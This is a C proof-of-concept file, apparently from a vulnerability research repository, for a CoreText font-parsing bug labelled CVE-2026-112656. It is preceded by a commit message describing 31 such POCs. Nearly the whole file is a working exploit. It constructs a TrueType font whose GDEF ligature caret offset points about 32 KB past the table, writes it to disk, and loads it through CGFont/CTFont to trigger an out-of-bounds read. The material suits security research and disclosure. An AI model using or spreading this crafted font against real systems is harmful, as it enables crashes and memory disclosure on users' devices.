Files
cinder27/CVE-2026-112656/CVE-2026-112656.c
T
JBJF 7949c7ce9f v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
2026-10-29 20:08:55 +08:00

170 lines
6.6 KiB
C

// font.gdef · FontParser · GDEF LigCaretList · CVE-2026-112656
// GDEF caret value offset chain past the table
// C twin of the Swift POC: builds the GDEF-caret-chase TrueType font, loads it through
// CGFont/CTFont and queries CTFontGetLigatureCaretPositions.
// Build: clang -O2 -o cve-2026-112656 CVE-2026-112656.c -framework CoreText -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112656
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── table holder ──
typedef struct { const char *tag; buf data; } table;
// ── seed construction (from Cinder27 Sources: FontPayload.gdefCaretChase) ──
static buf font_gdef_caret_chase(void) {
table tables[8];
int nt = 0;
{ // head
buf t = {0};
brep(&t, 0, 54);
t.d[0] = 0x00; t.d[1] = 0x01; t.d[2] = 0x00; t.d[3] = 0x00;
t.d[4] = 0x00; t.d[5] = 0x01; t.d[6] = 0x00; t.d[7] = 0x00;
t.d[12] = 0x5F; t.d[13] = 0x0F; // magic
tables[nt++] = (table){"head", t};
}
{ // hhea
buf t = {0};
brep(&t, 0, 36);
t.d[0] = 0x00; t.d[1] = 0x01;
tables[nt++] = (table){"hhea", t};
}
{ // maxp
buf t = {0};
brep(&t, 0, 32);
t.d[0] = 0x00; t.d[1] = 0x00; t.d[2] = 0x50; t.d[3] = 0x00;
t.d[4] = 0x00; t.d[5] = 0x01;
tables[nt++] = (table){"maxp", t};
}
{ // hmtx
buf t = {0};
bcat(&t, "\x02\x00\x00\x00", 4);
tables[nt++] = (table){"hmtx", t};
}
{ // loca: short format, 2 glyphs
buf t = {0};
bcat(&t, "\x00\x00\x00\x04", 4);
tables[nt++] = (table){"loca", t};
}
{ // glyf
buf t = {0};
bcat(&t, "\x00\x00\x00\x00", 4);
tables[nt++] = (table){"glyf", t};
}
{ // cmap: format 4, minimal
buf t = {0};
be16(&t, 0); be16(&t, 1);
be16(&t, 3); be16(&t, 1); be32(&t, 12);
be16(&t, 4); be16(&t, 24); be16(&t, 0);
be16(&t, 2); be16(&t, 2); be16(&t, 0); be16(&t, 0);
be16(&t, 0xFFFF); be16(&t, 0); be16(&t, 0);
tables[nt++] = (table){"cmap", t};
}
{ // GDEF: LigCaretList whose CaretValue offset runs past the table
buf t = {0};
be16(&t, 0x0001); be16(&t, 0x0000); // version 1.0
be16(&t, 0x0000); // glyphClassDef absent
be16(&t, 0x0000); // attachList absent
be16(&t, 0x000C); // ligCaretListOffset -> 12
be16(&t, 0x0000); // markAttachClassDef absent
// LigCaretList at 12
be16(&t, 0x000C); // coverageOffset -> 24
be16(&t, 0x0001); // ligGlyphCount
be16(&t, 0x0010); // ligGlyphOffsets[0] -> 28
be16(&t, 0x0000); // pad
// Coverage at 24: format 1, glyph 1
be16(&t, 0x0001); be16(&t, 0x0001); be16(&t, 0x0001);
// LigGlyph at 28
be16(&t, 0x0001); // caretCount
be16(&t, 0x7F00); // caretValueOffsets[0]: ~32 KB past the table
tables[nt++] = (table){"GDEF", t};
}
// ---- assemble: sort by tag, build directory + blobs
for (int i = 0; i < nt; i++) for (int j = i + 1; j < nt; j++) {
if (strcmp(tables[j].tag, tables[i].tag) < 0) { table t = tables[i]; tables[i] = tables[j]; tables[j] = t; }
}
uint16_t num_tables = (uint16_t)nt;
uint16_t search_range = 16, entry_selector = 0;
while (search_range * 2 <= num_tables * 16) { search_range *= 2; entry_selector++; }
buf out = {0};
be32(&out, 0x00010000);
be16(&out, num_tables);
be16(&out, search_range);
be16(&out, entry_selector);
be16(&out, num_tables * 16 - search_range);
size_t offset = 12 + (size_t)nt * 16;
for (int i = 0; i < nt; i++) {
bcat(&out, tables[i].tag, 4);
be32(&out, 0x00010000); // checksum, unchecked by parsers
be32(&out, (uint32_t)offset);
be32(&out, (uint32_t)tables[i].data.n);
size_t pad = (4 - tables[i].data.n % 4) % 4;
offset += tables[i].data.n + pad;
}
for (int i = 0; i < nt; i++) {
bcat(&out, tables[i].data.d, tables[i].data.n);
size_t pad = (4 - tables[i].data.n % 4) % 4;
if (pad) brep(&out, 0, pad);
bfree(&tables[i].data);
}
return out;
}
// ── trigger: CGFont + CTFont caret query ──
#include <CoreText/CoreText.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
int main(void) {
buf font = font_gdef_caret_chase();
FILE *f = fopen("gdef_caret_chase.ttf", "wb");
if (f) { fwrite(font.d, 1, font.n, f); fclose(f); }
CFDataRef cf = CFDataCreate(NULL, font.d, (CFIndex)font.n);
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
CFRelease(cf);
CGFontRef cg = CGFontCreateWithDataProvider(prov);
CGDataProviderRelease(prov);
if (!cg) {
printf("CVE-2026-112656 · font refused at the CGFont layer\n");
bfree(&font);
return 1;
}
CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 72, NULL, NULL);
CGFloat positions[8];
memset(positions, 0, sizeof positions);
// the caret query follows the CaretValue offset chain
CFIndex n = CTFontGetLigatureCaretPositions(ct, 1, positions, 8);
printf("CVE-2026-112656 · CTFontGetLigatureCaretPositions returned %ld\n", (long)n);
if (n > 0) {
printf("caret positions:");
for (int i = 0; i < n && i < 8; i++) printf(" %.2f", positions[i]);
printf(" (values read through the offset chain)\n");
} else {
printf("returned 0 — offset clamped or chain not followed\n");
}
CFRelease(ct);
CGFontRelease(cg);
printf("seed: gdef_caret_chase.ttf (%zu B) · exit code 0\n", font.n);
bfree(&font);
return 0;
}